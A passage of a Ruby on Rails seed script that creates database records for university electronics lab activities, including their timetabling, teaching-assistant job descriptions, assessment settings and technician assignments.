labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a295.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a295.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a295.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a296 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"124\").first_or_create!(name: \"PWM Inductive\",\n name_abrv: \"PE2\", archived: false, in_drive: false, user_id: 2)\n at296 = ActivityTimetable.where(activity_id: a296.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 27, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"PE1 and PE2 are effectively a 2 part lab, a continuation of the same experiment. Try to keep them close for each student - same week or consecutive weeks\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a296.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a296.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a296.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a296.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a296.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a297 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"124\").first_or_create!(name: \"PWM Inductive\",\n name_abrv: \"PE2\", archived: false, in_drive: false, user_id: 5)\n at297 = ActivityTimetable.where(activity_id: a297.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"PE1 and PE2 are effectively a 2 part lab, a continuation of the same experiment. Try to keep them close for each student - same week or consecutive weeks\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a297.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a297.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a297.id).first_or_create!(assess_weight: nil, notes: \"Assessed with PWM Resistive - should really be combined\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a297.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a297.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a298 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"125\").first_or_create!(name: \"PWM Resistive\",\n name_abrv: \"PE1\", archived: false, in_drive: false, user_id: 2)\n at298 = ActivityTimetable.where(activity_id: a298.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 27, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"PE1 and PE2 are effectively a 2 part lab, a continuation of the same experiment. Try to keep them close for each student - same week or consecutive weeks\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a298.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a298.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a298.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a298.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a298.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a299 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"125\").first_or_create!(name: \"PWM Resistive\",\n name_abrv: \"PE1\", archived: false, in_drive: false, user_id: 2)\n at299 = ActivityTimetable.where(activity_id: a299.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"PE1 and PE2 are effectively a 2 part lab, a continuation of the same experiment. Try to keep them close for each student - same week or consecutive weeks\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a299.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a299.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a299.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a299.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a299.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a300 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR131\").first.id, code: \"128\").first_or_create!(name: \"RLC Circuits\",\n name_abrv: \"RLCC\", archived: false, in_drive: false, user_id: 4)\n at300 = ActivityTimetable.where(activity_id: a300.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 25, notes: \"\",\n capacity: 100, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a300.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a300.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a300.id).first_or_create!(assess_weight: 30.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a300.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a300.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a301 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE118\").first.id, code: \"129\").first_or_create!(name: \"Simple Single Transistor Amplifier\",\n name_abrv: \"BJT\", archived: false, in_drive: false, user_id: 1)\n at301 = ActivityTimetable.where(activity_id: a301.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"210 minutes x 2 sessions. The two sessions should be as close as possible. Ideally on consecutive days.\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a301.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"BJT\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a301.id).first_or_create!(criteria: \"Must be familiar with simple transistor (BJT) circuits\n Must be confident constructing circuits and using digital multimeters and signal generators\n Must be confident helping students draw graphs and draw conclusions from measured data\",\n job_desc:\"Help students construct simple circuits using bipolar junction transistors\n Assist students to make current and voltage measurements on\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a301.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 2)\n ActivityTech.where(activity_id: a301.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a301.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a302 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER223\").first.id, code: \"130\").first_or_create!(name: \"Switching Transistors\",\n name_abrv: \"PT\", archived: false, in_drive: false, user_id: 3)\n at302 = ActivityTimetable.where(activity_id: a302.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a302.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Switching Transistors\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a302.id).first_or_create!(criteria: \"Must be familiar with MOSFET power switching circuits\n Must be comforatble using an oscilloscope\n Must be able to safely set up and troubleshoot high power switching circuitry\n Must be familiar with resitive and inductive loads\",\n job_desc:\"A single lab session exploring MOSFETs used to drive both resistive and inductive loads. You will need to support students performing simulations in Simulink and interpreting current/voltage graphs. You will then need to help them construct a switching electronics system, using AC power, MOSFETs under FPGA control and an oscilloscope.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a302.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a302.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a302.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a303 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"130\").first_or_create!(name: \"Switching Transistors\",\n name_abrv: \"PT\", archived: false, in_drive: false, user_id: 2)\n at303 = ActivityTimetable.where(activity_id: a303.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a303.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"Switching Transistors\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a303.id).first_or_create!(criteria: \"Must be familiar with MOSFET power switching circuits\n Must be comforatble using an oscilloscope\n Must be able to safely set up and troubleshoot high power switching circuitry\n Must be familiar with resitive and inductive loads\",\n job_desc:\"A single lab session exploring MOSFETs used to drive both resistive and inductive loads. You will need to support students performing simulations in Simulink and interpreting current/voltage graphs. You will then need to help them construct a switching electronics system, using AC power, MOSFETs under FPGA control and an oscilloscope.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a303.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a303.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a304 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"131\").first_or_create!(name: \"Transformers\",\n name_abrv: \"TFM\", archived: false, in_drive: false, user_id: 5)\n at304 = ActivityTimetable.where(activity_id: a304.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 90, takedown_time: 90, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a304.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Transformers\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a304.id).first_or_create!(criteria: \"Must be familiar with transformers and inductors\n Must be familiar with high voltage AC circuits\n Must be confident checking the safety of high voltage and high current experiments\n Ideally confident in theoretical transformer models and how to measure the deviation of experiment from ideality\",\n job_desc:\"Help students measure the efficiency and other characteristics of transformers\n Identify differences between ideal transformers and experimental characterisations of real transformers\n Ensure that students make high voltage and high current measurements safely, including checking risk assessments before commencing work.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a304.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a304.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a304.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a305 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE117\").first.id, code: \"132\").first_or_create!(name: \"Transformers & Coupled Circuits\",\n name_abrv: \"TFCC\", archived: false, in_drive: false, user_id: 2)\n at305 = ActivityTimetable.where(activity_id: a305.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 5, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 90, takedown_time: 90, notes: \"210 minutes x 2 sessions. 2 sessions should be same week or as close together as possible\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a305.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Transformers Coupled Circuits\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a305.id).first_or_create!(criteria: \"Must be familiar with transformers and inductors\n Must be familiar with high voltage AC circuits\n Must be confident checking the safety of high voltage and high current experiments\n Ideally confident in theoretical transformer models and how to measure the deviation of experiment from ideality\",\n job_desc:\"Help students measure the efficiency and other characteristics of transformers\n Identify differences between ideal transformers and experimental characterisations of real transformers\n Ensure that students make high voltage and high current measurements safely, including checking risk assessments before commencing work.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a305.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a305.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a305.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a306 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"133\").first_or_create!(name: \"Transient Signal Measurements\",\n name_abrv: \"WS2\", archived: false, in_drive: false, user_id: 5)\n at306 = ActivityTimetable.where(activity_id: a306.id).first_or_create!(duration: 210, kit_prep_time: 1400, min_week_num: 2, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a306.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"WS2\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a306.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Provide guidance to students on advanced oscilloscope skills i.e. data export and specialist triggering/measurement modes\n Train students to calibrate oscilloscopes before use.\n Explain principles of diode rectification and demonstrate them using LEDs soldered on a PCB\n Supervise students to safely solder a small PCB using a circuit diagram to guide them - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a306.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a306.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a306.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a307 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE221\").first.id, code: \"133\").first_or_create!(name: \"Transient Signal Measurements\",\n name_abrv: \"WS2\", archived: false, in_drive: false, user_id: 3)\n at307 = ActivityTimetable.where(activity_id: a307.id).first_or_create!(duration: 210, kit_prep_time: 1400, min_week_num: 2, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a307.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"WS2\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a307.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Provide guidance to students on advanced oscilloscope skills i.e. data export and specialist triggering/measurement modes\n Train students to calibrate oscilloscopes before use.\n Explain principles of diode rectification and demonstrate them using LEDs soldered on a PCB\n Supervise students to safely solder a small PCB using a circuit diagram to guide them - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a307.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a307.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a307.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a308 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"133\").first_or_create!(name: \"Transient Signal Measurements\",\n name_abrv: \"WS2\", archived: false, in_drive: false, user_id: 2)\n at308 = ActivityTimetable.where(activity_id: a308.id).first_or_create!(duration: 180, kit_prep_time: 1400, min_week_num: 4, max_week_num: 8, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a308.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"WS2\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a308.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Provide guidance to students on advanced oscilloscope skills i.e. data export and specialist triggering/measurement modes\n Train students to calibrate oscilloscopes before use.\n Explain principles of diode rectification and demonstrate them using LEDs soldered on a PCB\n Supervise students to safely solder a small PCB using a circuit diagram to guide them - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a308.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a308.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a308.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a309 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER123\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: false, in_drive: false, user_id: 1)\n at309 = ActivityTimetable.where(activity_id: a309.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a309.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a309.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a309.id).first_or_create!(assess_weight: 6.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a309.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a309.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a310 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: false, in_drive: false, user_id: 1)\n at310 = ActivityTimetable.where(activity_id: a310.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a310.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a310.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a310.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a310.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a311 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE218\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: false, in_drive: false, user_id: 1)\n at311 = ActivityTimetable.where(activity_id: a311.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a311.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a311.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a311.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a311.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n 